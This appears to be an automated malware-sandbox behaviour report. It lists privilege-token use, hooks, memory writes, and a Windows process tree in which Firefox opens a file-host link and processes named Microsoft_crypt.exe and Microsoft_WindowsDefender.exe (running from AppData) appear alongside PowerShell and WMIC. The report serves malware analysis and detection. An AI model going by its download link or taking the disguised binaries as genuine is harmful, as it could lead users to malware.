3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 3180 Intoref.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 2252 dialer.exe 2252 dialer.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 6892 Microsoft_crypt.exe 1840 lhhsgwktkatl.exe 6584 powershell.exe 6584 powershell.exe 6584 powershell.exe 1756 powershell.exe 1756 powershell.exe 1756 powershell.exe 3772 powershell.exe 3772 powershell.exe 3772 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
firefox.exeAUDIODG.EXEMsvchost.exepowershell.exepowershell.exeWMIC.exetasklist.exetasklist.exeWMIC.exedescription pid process Token: SeDebugPrivilege 1952 firefox.exe Token: SeDebugPrivilege 1952 firefox.exe Token: 33 5284 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 5284 AUDIODG.EXE Token: SeDebugPrivilege 1952 firefox.exe Token: SeDebugPrivilege 1952 firefox.exe Token: SeDebugPrivilege 1952 firefox.exe Token: SeDebugPrivilege 1952 firefox.exe Token: SeDebugPrivilege 1952 firefox.exe Token: SeDebugPrivilege 4372 Msvchost.exe Token: SeDebugPrivilege 6680 powershell.exe Token: SeDebugPrivilege 6792 powershell.exe Token: SeIncreaseQuotaPrivilege 1780 WMIC.exe Token: SeSecurityPrivilege 1780 WMIC.exe Token: SeTakeOwnershipPrivilege 1780 WMIC.exe Token: SeLoadDriverPrivilege 1780 WMIC.exe Token: SeSystemProfilePrivilege 1780 WMIC.exe Token: SeSystemtimePrivilege 1780 WMIC.exe Token: SeProfSingleProcessPrivilege 1780 WMIC.exe Token: SeIncBasePriorityPrivilege 1780 WMIC.exe Token: SeCreatePagefilePrivilege 1780 WMIC.exe Token: SeBackupPrivilege 1780 WMIC.exe Token: SeRestorePrivilege 1780 WMIC.exe Token: SeShutdownPrivilege 1780 WMIC.exe Token: SeDebugPrivilege 1780 WMIC.exe Token: SeSystemEnvironmentPrivilege 1780 WMIC.exe Token: SeRemoteShutdownPrivilege 1780 WMIC.exe Token: SeUndockPrivilege 1780 WMIC.exe Token: SeManageVolumePrivilege 1780 WMIC.exe Token: 33 1780 WMIC.exe Token: 34 1780 WMIC.exe Token: 35 1780 WMIC.exe Token: 36 1780 WMIC.exe Token: SeDebugPrivilege 4668 tasklist.exe Token: SeIncreaseQuotaPrivilege 1780 WMIC.exe Token: SeSecurityPrivilege 1780 WMIC.exe Token: SeTakeOwnershipPrivilege 1780 WMIC.exe Token: SeLoadDriverPrivilege 1780 WMIC.exe Token: SeSystemProfilePrivilege 1780 WMIC.exe Token: SeSystemtimePrivilege 1780 WMIC.exe Token: SeProfSingleProcessPrivilege 1780 WMIC.exe Token: SeIncBasePriorityPrivilege 1780 WMIC.exe Token: SeCreatePagefilePrivilege 1780 WMIC.exe Token: SeBackupPrivilege 1780 WMIC.exe Token: SeRestorePrivilege 1780 WMIC.exe Token: SeShutdownPrivilege 1780 WMIC.exe Token: SeDebugPrivilege 1780 WMIC.exe Token: SeSystemEnvironmentPrivilege 1780 WMIC.exe Token: SeRemoteShutdownPrivilege 1780 WMIC.exe Token: SeUndockPrivilege 1780 WMIC.exe Token: SeManageVolumePrivilege 1780 WMIC.exe Token: 33 1780 WMIC.exe Token: 34 1780 WMIC.exe Token: 35 1780 WMIC.exe Token: 36 1780 WMIC.exe Token: SeDebugPrivilege 5580 tasklist.exe Token: SeIncreaseQuotaPrivilege 3240 WMIC.exe Token: SeSecurityPrivilege 3240 WMIC.exe Token: SeTakeOwnershipPrivilege 3240 WMIC.exe Token: SeLoadDriverPrivilege 3240 WMIC.exe Token: SeSystemProfilePrivilege 3240 WMIC.exe Token: SeSystemtimePrivilege 3240 WMIC.exe Token: SeProfSingleProcessPrivilege 3240 WMIC.exe Token: SeIncBasePriorityPrivilege 3240 WMIC.exe -
Suspicious use of FindShellTrayWindow 19 IoCs
Processes:
firefox.exepid process 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe -
Suspicious use of SendNotifyMessage 17 IoCs
Processes:
firefox.exepid process 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe -
Suspicious use of SetWindowsHookEx 28 IoCs
Processes:
firefox.exeConhost.exeConhost.exeConhost.exepid process 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 1952 firefox.exe 5008 Conhost.exe 888 Conhost.exe 6532 Conhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
firefox.exefirefox.exedescription pid process target process PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 2440 wrote to memory of 1952 2440 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3120 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe PID 1952 wrote to memory of 3116 1952 firefox.exe firefox.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:616
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:388
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:672
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1044
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1092
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1116
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1188
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2728
-
C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exeC:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe2⤵PID:5696
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1196
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1276
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1316
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1348
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1392
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1492
-
C:\Windows\system32\sihost.exesihost.exe2⤵PID:2532
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1516
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1524
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1660
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1708
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1740
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1816
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1832
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x480 0x3d42⤵
- Suspicious use of AdjustPrivilegeToken
PID:5284
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1928
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1940
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:2008
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2016
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2068
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2180
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2292
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2300
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2476
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2484
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2576
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2720
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2772
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2796
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2820
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2828
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2884
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2240
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3476
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "https://oxy.st/d/koRh"2⤵
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url https://oxy.st/d/koRh3⤵
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.0.479912907\1419221629" -parentBuildID 20230214051806 -prefsHandle 1788 -prefMapHandle 1780 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {076640bf-af2f-45d7-8460-df887c61db35} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 1864 13122309358 gpu4⤵PID:3120
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.1.284179627\1723342052" -parentBuildID 20230214051806 -prefsHandle 2452 -prefMapHandle 2448 -prefsLen 22927 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c71c22d-e4f3-40e0-a1f6-81472379d1de} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 2464 13115585958 socket4⤵
- Checks processor information in registry
PID:3116 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.2.298126552\909316933" -childID 1 -isForBrowser -prefsHandle 3024 -prefMapHandle 3020 -prefsLen 22965 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9c424269-b434-4453-bf1e-adae1b2d7fa6} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 3036 1312533f758 tab4⤵PID:1052
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.3.454212335\425092288" -childID 2 -isForBrowser -prefsHandle 3676 -prefMapHandle 3672 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2690856e-02c3-4578-a3c5-b1224386bbd7} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 3688 13126fcc458 tab4⤵PID:2040
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.4.286218331\1733823029" -childID 3 -isForBrowser -prefsHandle 5292 -prefMapHandle 5156 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3a62aec1-b83a-4a26-8255-501b332a8217} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5316 131292a4258 tab4⤵PID:3756
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.5.207201457\1397005508" -childID 4 -isForBrowser -prefsHandle 5468 -prefMapHandle 5476 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {bc067181-144e-441d-ad32-8df89dd64fd1} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5456 131292a4558 tab4⤵PID:4688
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.6.1015088603\570879595" -childID 5 -isForBrowser -prefsHandle 5660 -prefMapHandle 5668 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddc959b3-f636-40e1-a888-f2a4e44c06ab} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5648 131292a4e58 tab4⤵PID:2212
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.7.536212920\1392400333" -childID 6 -isForBrowser -prefsHandle 5208 -prefMapHandle 5324 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ece72e4-0700-4096-ad9d-949dcdcdc39d} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5664 13128af4a58 tab4⤵PID:1532
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.8.1463422370\50031611" -childID 7 -isForBrowser -prefsHandle 9580 -prefMapHandle 9584 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {44b2b14f-dfa5-477c-9338-d6aa1d0ac72b} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9568 13129f53858 tab4⤵PID:2140
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.9.1844242331\2033584055" -childID 8 -isForBrowser -prefsHandle 5364 -prefMapHandle 5376 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6eb8c318-a9d4-4890-84ff-30cee9e61825} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9588 1312a9fbe58 tab4⤵PID:2636
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.10.1328604920\1737543712" -childID 9 -isForBrowser -prefsHandle 5788 -prefMapHandle 5800 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2beabf94-1943-48dc-9ffa-3ea424f82e3f} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5764 1312aa3d958 tab4⤵PID:4012
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.11.868517530\95421248" -childID 10 -isForBrowser -prefsHandle 5924 -prefMapHandle 5536 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1aedb72a-21b5-4ca2-93a1-b893b23925b9} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5232 1312aab9e58 tab4⤵PID:3956
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.12.884787508\1022037086" -childID 11 -isForBrowser -prefsHandle 5652 -prefMapHandle 5824 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1a3397d7-1ec3-4eb3-9df9-9e4dd306e176} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 5656 1312960c158 tab4⤵PID:3448
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.13.1834949140\2082392990" -childID 12 -isForBrowser -prefsHandle 6116 -prefMapHandle 5784 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c573d4b-aa04-4945-a519-4defde093d90} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 6028 13115541858 tab4⤵PID:1976
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.14.256906417\1096281348" -childID 13 -isForBrowser -prefsHandle 1324 -prefMapHandle 6116 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {224935fd-4104-4a10-8432-57806fba9c4e} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 1552 1312c26a758 tab4⤵PID:5472
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.15.1686897193\2092741367" -childID 14 -isForBrowser -prefsHandle 6060 -prefMapHandle 9416 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1d04e227-39b0-4c2a-bdd0-12992057fef1} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 4672 1312cbe7058 tab4⤵PID:392
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.16.1644288033\2024473277" -childID 15 -isForBrowser -prefsHandle 5968 -prefMapHandle 5240 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e9421d2-864d-4c56-b435-680af59575d0} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9396 1312cbe7658 tab4⤵PID:220
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.17.33743741\193461413" -parentBuildID 20230214051806 -prefsHandle 4824 -prefMapHandle 9628 -prefsLen 28041 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {eb6c919e-f21d-4182-aa57-bf74c230d546} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9228 1312d216a58 rdd4⤵PID:1208
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.18.825575147\779474152" -parentBuildID 20230214051806 -sandboxingKind 1 -prefsHandle 5448 -prefMapHandle 9228 -prefsLen 28041 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {047df4d9-3b84-4f63-807c-15d2a68f2861} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9268 1312d5b0258 utility4⤵PID:5592
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.19.1255621883\2105094285" -childID 16 -isForBrowser -prefsHandle 8936 -prefMapHandle 8928 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e23884c4-684e-420b-ad53-454d51f661ee} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 8944 1312e02e758 tab4⤵PID:4252
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.20.813333447\2107862247" -childID 17 -isForBrowser -prefsHandle 10220 -prefMapHandle 10224 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3cce1870-a6fa-419d-aef3-684d689ea32e} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 8836 1312e16fc58 tab4⤵PID:5988
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.21.706606704\1321282707" -childID 18 -isForBrowser -prefsHandle 5016 -prefMapHandle 3828 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {55987bf2-7f8f-4404-83b0-7b2db88d1e84} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 3824 1312db39258 tab4⤵PID:6928
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.22.1023838260\2143340558" -childID 19 -isForBrowser -prefsHandle 3824 -prefMapHandle 8948 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ac34de1-1bfd-4d0e-a093-186315266988} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 9108 1312f2db358 tab4⤵PID:4704
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1952.23.1872463135\1923757091" -childID 20 -isForBrowser -prefsHandle 8316 -prefMapHandle 8312 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1292 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ec68a38a-014d-4b14-b588-8bb67b823ee8} 1952 "\\.\pipe\gecko-crash-server-pipe.1952" 8324 1312c588858 tab4⤵PID:6632
-
